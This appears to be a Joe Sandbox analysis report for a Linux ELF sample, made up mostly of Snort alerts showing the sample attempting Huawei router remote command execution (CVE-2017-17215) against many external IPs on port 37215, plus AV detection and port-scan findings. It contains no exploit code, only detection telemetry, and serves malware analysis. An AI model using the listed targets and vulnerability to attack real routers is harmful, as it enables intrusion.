Timestamp:	192.168.2.23156.253.47.16133320372152835222 12/30/23-07:15:24.541760
SID:	2835222
Source Port:	33320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.16.20.81

Timestamp:	192.168.2.2337.16.20.8141714372152835222 12/30/23-07:15:39.796410
SID:	2835222
Source Port:	41714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 92.95.251.242

Timestamp:	192.168.2.2392.95.251.24237922372152829579 12/30/23-07:15:23.665818
SID:	2829579
Source Port:	37922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.21.86

Timestamp:	192.168.2.2394.122.21.8659126372152835222 12/30/23-07:15:15.170645
SID:	2835222
Source Port:	59126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.87.89.134

Timestamp:	192.168.2.2341.87.89.13446504372152835222 12/30/23-07:15:47.308401
SID:	2835222
Source Port:	46504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.138.70.146

Timestamp:	192.168.2.2345.138.70.14657834372152835222 12/30/23-07:13:56.532860
SID:	2835222
Source Port:	57834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.134.80

Timestamp:	192.168.2.23156.77.134.8054200372152835222 12/30/23-07:15:41.050395
SID:	2835222
Source Port:	54200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.121.21.254

Timestamp:	192.168.2.2394.121.21.25459340372152835222 12/30/23-07:15:04.803549
SID:	2835222
Source Port:	59340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.60.28

Timestamp:	192.168.2.23156.254.60.2841794372152829579 12/30/23-07:14:23.978463
SID:	2829579
Source Port:	41794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.45.169

Timestamp:	192.168.2.23156.253.45.16953042372152829579 12/30/23-07:15:30.717600
SID:	2829579
Source Port:	53042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.16.20.81

Timestamp:	192.168.2.2337.16.20.8141714372152829579 12/30/23-07:15:39.796410
SID:	2829579
Source Port:	41714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.77.176

Timestamp:	192.168.2.2394.123.77.17634208372152829579 12/30/23-07:15:41.207064
SID:	2829579
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.28.253

Timestamp:	192.168.2.23156.247.28.25338666372152835222 12/30/23-07:14:45.199276
SID:	2835222
Source Port:	38666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.24.196

Timestamp:	192.168.2.23156.230.24.19656368372152835222 12/30/23-07:15:15.774697
SID:	2835222
Source Port:	56368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.87.89.134

Timestamp:	192.168.2.2341.87.89.13446504372152829579 12/30/23-07:15:47.308401
SID:	2829579
Source Port:	46504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.122.82.64

Timestamp:	192.168.2.2394.122.82.6454396372152835222 12/30/23-07:15:47.309378
SID:	2835222
Source Port:	54396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.52.86

Timestamp:	192.168.2.23156.254.52.8642982372152835222 12/30/23-07:15:13.874917
SID:	2835222
Source Port:	42982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.41.50

Timestamp:	192.168.2.23156.253.41.5047374372152835222 12/30/23-07:15:47.021618
SID:	2835222
Source Port:	47374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.148.188

Timestamp:	192.168.2.2394.123.148.18836902372152835222 12/30/23-07:15:30.130385
SID:	2835222
Source Port:	36902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.37.238

Timestamp:	192.168.2.2394.123.37.23841874372152835222 12/30/23-07:15:50.565664
SID:	2835222
Source Port:	41874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.123.88.57

Timestamp:	192.168.2.2394.123.88.5738232372152835222 12/30/23-07:15:23.954177
SID:	2835222
Source Port:	38232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.68.195

Timestamp:	192.168.2.23156.254.68.19550716372152829579 12/30/23-07:15:31.017944
SID:	2829579
Source Port:	50716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.120.20.18

Timestamp:	192.168.2.2394.120.20.1840956372152829579 12/30/23-07:15:47.300043
SID:	2829579
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Hc4cUTxU09.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: Hc4cUTxU09.elf	ReversingLabs: Detection: 67%
Source: Hc4cUTxU09.elf	Virustotal: Detection: 55%			Perma Link

Machine Learning detection for sample

Source: Hc4cUTxU09.elf

Joe Sandbox ML: detected

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57834 -> 45.138.70.146:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57834 -> 45.138.70.146:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34874 -> 154.38.240.187:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34874 -> 154.38.240.187:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57246 -> 107.148.175.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57246 -> 107.148.175.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47302 -> 156.77.139.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47302 -> 156.77.139.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59174 -> 107.178.163.121:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59174 -> 107.178.163.121:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47986 -> 94.122.216.102:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47986 -> 94.122.216.102:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57256 -> 156.254.89.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57256 -> 156.254.89.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41794 -> 156.254.60.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41794 -> 156.254.60.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56186 -> 154.215.71.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56186 -> 154.215.71.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43122 -> 222.186.3.83:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43122 -> 222.186.3.83:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50508 -> 156.254.36.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50508 -> 156.254.36.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36906 -> 156.224.8.108:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36906 -> 156.224.8.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46088 -> 94.122.20.206:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46088 -> 94.122.20.206:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45674 -> 37.16.13.71:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45674 -> 37.16.13.71:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38666 -> 156.247.28.253:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38666 -> 156.247.28.253:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43280 -> 94.123.22.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43280 -> 94.123.22.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38110 -> 154.206.133.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38110 -> 154.206.133.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59340 -> 94.121.21.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59340 -> 94.121.21.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47400 -> 41.46.215.224:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47400 -> 41.46.215.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35868 -> 156.241.12.227:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35868 -> 156.241.12.227:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50470 -> 45.43.239.192:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50470 -> 45.43.239.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42320 -> 156.235.100.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42320 -> 156.235.100.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42982 -> 156.254.52.86:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42982 -> 156.254.52.86:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40622 -> 94.122.124.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40622 -> 94.122.124.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59126 -> 94.122.21.86:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59126 -> 94.122.21.86:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56368 -> 156.230.24.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56368 -> 156.230.24.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39552 -> 94.121.152.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39552 -> 94.121.152.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37922 -> 92.95.251.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37922 -> 92.95.251.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38232 -> 94.123.88.57:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38232 -> 94.123.88.57:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57082 -> 94.123.143.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:57082 -> 94.123.143.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33320 -> 156.253.47.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33320 -> 156.253.47.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36902 -> 94.123.148.188:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36902 -> 94.123.148.188:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53042 -> 156.253.45.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53042 -> 156.253.45.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50716 -> 156.254.68.195:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50716 -> 156.254.68.195:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58894 -> 154.214.87.143:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58894 -> 154.214.87.143:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41714 -> 37.16.20.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41714 -> 37.16.20.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54200 -> 156.77.134.80:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54200 -> 156.77.134.80:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34208 -> 94.123.77.176:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34208 -> 94.123.77.176:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35512 -> 41.238.184.39:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35512 -> 41.238.184.39:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47374 -> 156.253.41.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47374 -> 156.253.41.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40956 -> 94.120.20.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40956 -> 94.120.20.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46504 -> 41.87.89.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46504 -> 41.87.89.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54396 -> 94.122.82.64:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54396 -> 94.122.82.64:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49662 -> 94.121.115.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49662 -> 94.121.115.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40066 -> 41.207.108.33:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40066 -> 41.207.108.33:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55752 -> 154.23.134.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55752 -> 154.23.134.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41874 -> 94.123.37.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41874 -> 94.123.37.238:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 45.125.110.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.184.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.107.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.104.209 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 47400
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
